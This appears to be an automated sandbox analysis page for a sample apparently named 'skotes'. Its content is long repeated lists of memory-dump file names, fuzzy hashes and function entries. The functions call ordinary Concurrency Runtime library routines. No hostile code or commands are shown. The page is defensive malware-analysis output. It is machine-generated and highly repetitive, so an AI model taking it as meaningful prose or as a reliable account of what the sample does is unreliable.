Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: cfca4a8687d4069b038b45e678713a1e13034d3adb8524b66b9f62b9ff9af379
Instruction ID: 5357ce014b996840b0e28a7be20bb6c0c8762bf71cfa3a594b60f46754de7a4b
Opcode Fuzzy Hash: cfca4a8687d4069b038b45e678713a1e13034d3adb8524b66b9f62b9ff9af379
Instruction Fuzzy Hash: F9519331A00225EBCF24DF50D895FADB775AF84310F1540A9E9067B3DACB71AE45CBA1

Function 0091CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0091CBAA

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 96a2953b0c970e7f40901aa4eb055ccfc03fbba615e567f618417c3f96f4056e
Instruction ID: 0a7690d141d4406fdf693ce72ba4ce3441f0768e3f76b68b599709443dbfc5b2
Opcode Fuzzy Hash: 96a2953b0c970e7f40901aa4eb055ccfc03fbba615e567f618417c3f96f4056e
Instruction Fuzzy Hash: 54B09232B6F93447CA512B14BC0859D7718AA80B1274A415AD801A72348A505D82ABD4

Function 0091DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb5ea07f8da49426c27c39a1b93ed138633da5eeaa48532897fd33aa2d480b8
Instruction ID: 7ce3b1a156544d880bf3a7c21c03efc6deaabfebba66555a7b370e386d4efd51
Opcode Fuzzy Hash: 8bb5ea07f8da49426c27c39a1b93ed138633da5eeaa48532897fd33aa2d480b8
Instruction Fuzzy Hash: 5F51B072A2A60A8BDB15CF58D8917AAB7F5FB48304F24856EC409EB350D3B4A980DF50

Function 009326D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 009326E3

Part of subcall function 009324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00932504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00932704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00932711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0093275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 009327E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 009327F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00932846

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 84187ec958405c72123ed15c71720fe8813af59591256e9d192ee4cb52b61b32
Instruction ID: c3ba551285512043f6a5687634ab9217731c2d7409d7b3e9ad6b67e30cf740ab
Opcode Fuzzy Hash: 84187ec958405c72123ed15c71720fe8813af59591256e9d192ee4cb52b61b32
Instruction Fuzzy Hash: 4281CE30900249ABDF16CF94C951BFEBBBAAF45304F0440A8FC412B2A2C7369D15DF61

Function 00932970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00932982

Part of subcall function 009324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00932504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 009329A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 009329B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 009329FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00932AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00932AD8

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 1cf84f51f1b6bce7d51f909e0739bac44864a014f4d383fe3a3a6f619ab01b2e
Instruction ID: 452776a6584a34b80535b1839859a5c3a980077de560c84b6ddfa8b4bf4eaeea
Opcode Fuzzy Hash: 1cf84f51f1b6bce7d51f909e0739bac44864a014f4d383fe3a3a6f619ab01b2e
Instruction Fuzzy Hash: 6E71AE70904249AFDF15CF58C991BBEBBBAAF86304F044098EC41AB292C736DD15DF61

Function 00922832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00922876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009228DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00922913

Part of subcall function 009207ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0092080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00922993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009229DB

Part of subcall function 009207C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009207DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009229EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00922A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00922A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00922A7E

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
